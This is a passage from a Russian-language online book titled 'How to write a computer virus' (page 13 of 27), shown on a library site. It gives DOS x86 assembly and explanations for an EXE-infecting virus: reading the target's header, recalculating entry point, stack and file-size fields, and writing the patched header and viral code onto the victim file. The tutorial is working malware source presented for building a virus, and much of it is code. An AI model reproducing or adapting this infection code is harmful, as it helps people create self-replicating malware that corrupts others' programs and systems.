Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1 ... 6 7 8 9 10 11 12  13 14 15 16 17 18 19 ... 27
    ботать в новой программе .Первое внесенное измене-
    ние состоит в дублировании исходных значений заго-
    ловка программы, из которой стартовал вирус.В ком-
    ментариях рассказано, зачем это потребовалось.Сле-
    дющее изменение вызвано тем, что EXE - файл  может
    быть длиннее 64 Кбайт.Поэтому для установки указа-
    теля  на последний байт файла недостаточно  просто
    вычесть единицу из его размера.Например,пусть дли-
    на файла равна 10000h байт . В этом  случае из DTA
    будут считаны такие числа :CX = 0001h и DX = 0000h
    (см. выше) .Теперь для обращения к последнему эле-
    менту  файла из пары CX : DX следует вычесть "1" .
    Если просто вычесть единицу из DX,  то мы  получим
    следующее :CX = 0001h, DX = 0FFFFh, то есть полно-
    стью абсурдное значение . Чтобы такого не происхо-
    дило,  нужно применить команду  " вычитание с зае-
    мом ",  которая будет отнимать от CX значение фла-
    га переноса CF - " ноль " или " один " .
    И  последнее - вместо  непосредственной  установки
    указателя мы будем просто вызывать процедуру "set-
    pointer ", текст которой несложен и рассматривает-
    ся в конце главы .


               1.8 Читаем заголовок файла

    Наш EXE-вирус должен получать управление при стар-
    те зараженного файла .С этой целью он может  моди-
    фицировать заголовок файла,как показано в п. 1.4 .
    Проще всего будет считать заголовок найденной EXE-
    программы с диска, после чего сделать  необходимые
    изменения и записать его обратно на диск.А так как
    предыдущий  фрагмент  вирусной программы уже нашел
    подходящий  EXE - файл,  самое время прочитать его
    заголовок :

    mmm:       xor cx,cx              ;Установим ука-
               xor dx,dx              ;затель на нача-
               call setpointer        ;ло файла ...

               mov ah,3fh             ;И считаем инте-
	       mov bx,descrypt        ;ресующую нас
               mov cx,27              ;часть заголовка
                                      ;в массив " hea-
                                      ;der " .Она как
               lea dx,header          ;раз занимает 27
	       int 21h                ;байт...
               jnc next_step          ;
               jmp restore_dta        ;Ошибка чтения !

    Работа  фрагмента  довольно проста  и пояснений не
    требует .


          1.9 Производим необходимые вычисления

    Теперь наша задача состоит в следующем : Используя
    числа, полученные из заголовка и некоторые вспомо-
    гательные данные, рассчитать новые параметры заго-
    ловка EXE - программы.Напомним,что необходимо най-
    ти :

    Новые значения CS0, IP0, SS0 и SP0

    Новый остаток от деления размера загрузочного  мо-
    дуля на 512

    Новый размер файла в 512 - ти байтовых страницах,
    округленный в большую сторону

    Кроме того,следует найти такое значение указателя,
    которое  обеспечило бы запись вирусного кода в ко-
    нец файла . Это значение будет исходным для проце-
    дуры " setpointer ", которая предназначена для ус-
    тановки указателя в файле .

    Перед началом вычислений вирус должен  "запомнить"
    исходные параметры заголовка, чтобы можно было ис-
    пользовать их для расчета правильной точки входа и
    переключения стека с области данных вируса на стек
    зараженной программы при передаче ей управления :

                                      ;Запомним пара-
                                      ;метры заголовка
                                      ;в переменных
                                      ;" old_XX " ...
    next_step: mov ax,word ptr header[14h]
               mov old_ip,ax
               mov ax,word ptr header[16h]
               mov old_cs,ax
               mov ax,word ptr header[0eh]
               mov old_ss,ax
               mov ax,word ptr header[10h]
               mov old_sp,ax

    После этого можно приступить к вычислениям.Но сна-
    чала следует привести принятые для расчета  форму-
    лы .Обозначим :

    Остаток от деления размера загрузочного модуля  на
    512 - Исходный : при вычислениях не используется
          Вычисленный в результате коррекции ( в даль-
          нейшем - " вычисленный " ) : Header [02h]

    Размер файла в 512 - ти байтовых страницах -
          Исходный : File_size
          Вычисленный : Header [04h]

    Смещение в параграфах стекового сегмента в  загру-
    зочном модуле -
          Исходное : SS0
          Вычисленное : Header [0eh]

    Смещение в параграфах  кодового сегмента в  загру-
    зочном модуле -
          Исходное : СS0
          Вычисленное : Header [16h]

    Значение указателя стека SP при передаче  управле-
    ния программе -
          Исходное : SP0
          Вычисленное : Header [10h]

    Значение указателя команд IP при передаче управле-
    ния программе -
          Исходное : IP0
          Вычисленное : Header [14h]

    Размер заголовка в параграфах -
          Head_size

    Длина вируса в байтах -
          Vir_len

    Старшая часть указателя для записи вируса в  конец
    файла -
          F_seek_high

    Младшая часть указателя -
          F_seek_low .

    CS0, IP0, SS0 и SP0 в этих расчетах не используют-
    ся,но мы сохранили их в выделенных ячейках памяти.

    Тогда можно привести такие формулы :

    Header [16h] = File_size * 32 - Head_size

    Header [04h] = (File_size * 512 + Vir_len) / 512 -
                   частное от деления + 0,если остаток
                                          равен нулю
                                      + 1,если остаток
                                          не равен ну-
                                          лю

    Header [02h] = (File_size * 512 + Vir_len) / 512 -
                   остаток от деления

    Header [14h] = 0
                   При этом первая исполняемая  коман-
                   да вируса будет находиться по адре-
                   су : CS : 0000h, CS = Header [16h].

    Header [0eh] = Header [16h], чтобы можно было  об-
                   ратиться к стеку вируса,задав в ка-
                   честве SP " расстояние "  от начала
                   вирусного  кода  до последних  слов
                   стека .

    Header [10h] = смещению к New_stack + 96h, послед-
                   нее  слагаемое  зависит от  размера
                   вирусного стека .

    F_seek_high  = File_size * 512 ( High )

    F_seek_low   = File_size * 512 ( Low )

    Все  расчеты по приведенным формулам можно  выпол-
    нить с помощью таких программных строк :

               mov ax,word ptr header[04h]
               mov cl,5
               shl ax,cl
               cmp ax,0f000h
               jna good_size
               jmp find_next
    good_size: mov bp,ax
               sub ax,word ptr header[08h]
               mov to_16h,ax          ;Это число запи-
                                      ;шется в Header
                                      ;[16h]
               mov ax,bp
               xor dx,dx
               call mover
               mov f_seek_low,ax
               mov f_seek_high,dx
               cmp dx,word ptr [new_dta + 01ch]
               jl to_next
               ja infect
               cmp ax,word ptr [new_dta + 01ah]
               jl to_next
    infect:    add ax,vir_len
               adc dx,0
               mov bx,512
               div bx
               cmp dx,0
               je round
               inc ax
    round:     mov to_04h,ax          ;Это число запи-
                                      ;шется в Header
                                      ;[04h]

               mov to_02h,dx
               mov word ptr header[02h],dx
               mov ax,to_04h
               mov word ptr header[04h],ax
               mov word ptr header[14h],0
               mov ax,to_16h
               mov word ptr header[16h],ax
               mov word ptr header[0eh],ax
     mov word ptr header[10h],offset ds:new_stack + 96
               mov sub_ds,10h

    В приведенном тексте широко используются команды :

    ADC - сложение с переносом .Эта команда определяет
    сумму задаваемых операндов и прибавляет к ней зна-
    чение флага переноса CF
    и
    SBB - вычитание с заемом . Команда определяет раз-
    ность задаваемых операндов и вычитает из нее  зна-
    чение флага CF .
    Такие команды потребовались для того,  чтобы можно
    было учесть переполнения, возникающие при работе с
    файлами длиннее 64 Кбайт .Заметьте, что при разра-
    ботке COM - вирусов они не применялись вообще .
    Процедура " mover " заимствована из книги П .Абеля
    "Язык ассемблера для  IBM PC и программирования" и
    предназначена для умножения двойного слова CX : DX
    на 16 методом сдвига .
    Хотелось бы сказать о том, как наш вирус определя-
    ет, содержит ли файл внутренние оверлеи .Для этого
    он просто сравнивает размер файла в параграфах,по-
    лученный из заголовка по смещению 04h с размером,
    считанным из DTA.Верным признаком присутствия вну-
    тренних оверлеев является следующий факт :
    Размер, полученный из DTA больше значения,  вычис-
    ленного по параметрам заголовка . Заражать " овер-
    лейный " файл по принятому нами алгоритму нельзя,
    и  наш  вирус при обнаружении  такого файла просто
    попробует найти другую EXE - программу . Сам алго-
    ритм заражения оверлейных файлов отличается  высо-
    кой сложностью и ненадежностью и в данном  пособии
    не рассматривается .Стоит заметить, что  далеко не
    все вирусы корректно работают с такими файлами,  а
    многие просто их портят .


              1.10 Заражаем EXE - программу

    После того, как скорректирован заголовок файла,мо-
    жно его заразить.Напомним, что при заражении вирус
    должен перезаписать на диск модифицированный заго-
    ловок, после чего поместить свой код в конец файла
    - жертвы :

               xor dx,dx              ;Устанавливаем
               xor cx,cx              ;указатель на
               call setpointer        ;начало файла
               jc close_file          ;

               lea dx,header          ;И записываем
               mov cx,27              ;измененный за-
               call write             ;головок на диск
               jc close_file

               mov dx,f_seek_low      ;Устанавливаем
               mov cx,f_seek_high     ;указатель на
               call setpointer        ;определенное
                                      ;ранее место в
                                      ;файле
               jc close_file

               lea dx,vir             ;И записываем на
               mov cx,vir_len         ;диск вирусный
               call write             ;код

    close_file:xor ax,ax              ;Закроем зара-
               mov ah,3eh             ;женный файл
               mov bx,descrypt        ;
               int 21h                ;

    Строго говоря, код вируса записывается не за  пос-
    ледним байтом файла .Это имеет место только  когда
    размер файла кратен 512 .Во всех остальных случаях
    вирусный код помещается в файл по смещению,опреде-
    ляемому размером файла в 512 - ти байтовых страни-
    цах .Конечно, число страниц округляется в  большую
    сторону . Например,  при размере файла в 1025 байт
    вирус будет считать, что его длина составляет  три
    полных страницы, а при размере в 4096 байт - всего
    восемь ! Такая система сильно упрощает процесс со-
    здания вирусной программы и ее отладку .


                 1.11 Восстанавливаем DTA

    Итак, вирус выполнил свою работу - найден и  зара-
    жен подходящий EXE - файл .Дальше необходимо пере-
    ключить DTA  с области данных вируса  на область в
    PSP программы, из которой он стартовал . Поскольку
Предыдущая страница Следующая страница
1 ... 6 7 8 9 10 11 12  13 14 15 16 17 18 19 ... 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама